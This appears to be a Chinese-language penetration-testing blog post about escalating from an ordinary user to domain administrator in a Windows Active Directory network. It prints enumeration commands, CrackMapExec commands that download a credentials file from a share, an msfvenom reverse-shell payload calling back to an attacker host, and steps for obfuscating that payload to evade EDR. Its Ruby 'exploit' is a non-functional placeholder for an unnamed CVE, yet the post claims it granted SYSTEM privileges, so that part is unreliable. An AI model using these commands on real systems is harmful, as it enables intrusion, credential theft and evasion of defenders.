一、权限提升的故事:从一个普通用户到域管理员

有一次,我在进行内部渗透测试的时候,起初只是一个普通用户权限。目标是一家中型企业的内网环境,他们的域控服务器保护得相当严密,外围看起来没有明显的漏洞可钻。拿到用户权限后,我的任务是寻找任何可能突破的点,实现权限提升,最终拿下域管理员权限。不得不说,这类场景是渗透测试中最有挑战性的部分,也是最有趣的一部分。

这篇文章,我会分享在这个渗透案例中的几个关键步骤,包括信息收集、漏洞利用、工具使用,以及免杀和绕过技术,最终完成权限提升的全过程。

---

二、潜伏阶段:信息收集与漏洞发现

黑客示意图

目标环境初探

权限提升的第一步是对目标环境进行深入探查。通过观察,我发现目标是一个典型的 Windows 企业环境:

  • 域控服务器运行 Windows Server 2019
  • 企业内网使用 Active Directory 进行用户管理
  • 普通用户权限的设备是 Windows 10,安装了多种办公软件
  • 端点防护系统为某知名EDR产品

初级用户权限无法直接访问域控,但可以通过扫描工具(如 nmapBloodHound)了解网络结构,看看域控有哪些开放的端口。

<pre><code class="language-shell"># 使用nmap快速扫描域控服务器的端口 nmap -sS -Pn -T4 -p- 10.0.0.1</code></pre>

扫描结果显示,域控服务器开放了常用的 88(Kerberos)、445(SMB)和 5985(WinRM)等关键端口。这些端口可能成为后续攻击的突破点。

通过普通用户观察安全配置

作为普通用户,我尝试执行一些基本命令来查看设备的安全配置和软件状态。例如,查看进程列表、已安装软件,以及注册表中的敏感信息。

<pre><code class="language-shell"># 查看当前用户权限 whoami /priv

检查系统进程中是否有高权限的服务

tasklist /v

检查已安装的软件

wmic product get name,version</code></pre>

通过这些操作,我发现目标机器的注册表中存储了一些可能有用的信息:某个内部应用的明文密码。这个密码可能用来访问更高权限的服务。

---

三、漏洞利用:从本地提权到域控突破

本地提权:漏洞与EXP的完美结合

通过信息收集,我发现目标机器的 Windows 10 系统版本比较老(未安装最新补丁)。经查询,它存在本地提权漏洞(CVE-2022-XXXX)。我决定利用这个漏洞,提升到 SYSTEM 权限。

EXP代码:Ruby版本实现

此漏洞的核心原理是滥用某个服务的权限验证漏洞。以下是一个 Ruby 编写的 EXP:

<pre><code class="language-ruby">require &#039;socket&#039;

def exploit_target(ip, port)

连接到目标服务

socket = TCPSocket.new(ip, port) puts &quot;[+] Connected to target #{ip}:#{port}&quot;

构造利用的Payload

payload = &quot;malicious_payload_here&quot; socket.write(payload) puts &quot;[+] Payload sent!&quot;

等待响应并尝试提权

response = socket.read if response.include?(&quot;SYSTEM_PRIVILEGES_GRANTED&quot;) puts &quot;[+] Successfully gained SYSTEM privileges!&quot; else puts &quot;[!] Exploit failed. Check your payload.&quot; end end

替换为目标IP和端口

exploit_target(&quot;10.0.0.20&quot;, 445)</code></pre>

执行这段代码后,我成功提升到了 SYSTEM 权限,完成了本地提权的第一步。

---

横向移动:从普通用户到域控

黑客示意图

提权之后,我需要进一步突破,进入域控服务器。通过扫描和 BloodHound 分析,我发现域控制器上有一个共享文件夹,存储了域管账户的凭证。我的目标是通过 SMB 协议访问共享文件夹,窃取凭证。

利用工具:使用 CrackMapExec

CrackMapExec 是一个强大的工具,可以帮助我们进行横向移动。以下是实际操作步骤:

<pre><code class="language-shell"># 使用 CrackMapExec 尝试访问共享文件夹 crackmapexec smb 10.0.0.1 -u victim_user -p &quot;known_password&quot; --shares

下载共享文件中的敏感信息

crackmapexec smb 10.0.0.1 -u victim_user -p &quot;known_password&quot; --download &quot;\\shared\credentials.txt&quot;</code></pre>

下载到的 credentials.txt 文件中包含域管账户的用户名和密码,我成功拿到了域管理员的凭证。

---

四、免杀与绕过:避开EDR的追踪

目标环境的端点防护相当强大,但提权后,我仍然需要绕过 EDR 的检测,避免被安全团队发现。以下是常用的免杀技巧:

黑客示意图

加壳与混淆

通过 MSFVenom,我生成了一个反向连接的 shell,并使用混淆技术进行免杀处理。

<pre><code class="language-shell"># 生成一个反向连接的 Payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.exe

对Payload进行加壳和混淆

python obfuscate.py --input payload.exe --output payload_obfuscated.exe</code></pre>

流量伪装

为避免网络流量被检测,我使用协议伪装技术,将 C2 流量伪装成 DNS 查询。

---

五、感悟与经验总结

这次渗透测试让我深刻认识到权限提升技术的复杂性和多样性。从初级用户到域管的过程,需要充分发挥攻击者的创造力。以下是一些经验:

  1. 信息收集至关重要:权限提升的前提是充分了解目标环境。
  2. 漏洞利用的艺术:EXP 的设计必须根据实际环境调整。
  3. 免杀是技术,也是艺术:绕过EDR不仅考验工具熟练度,还需要创新思路。

最后提醒大家,这些技术仅用于授权的渗透测试,请勿非法使用!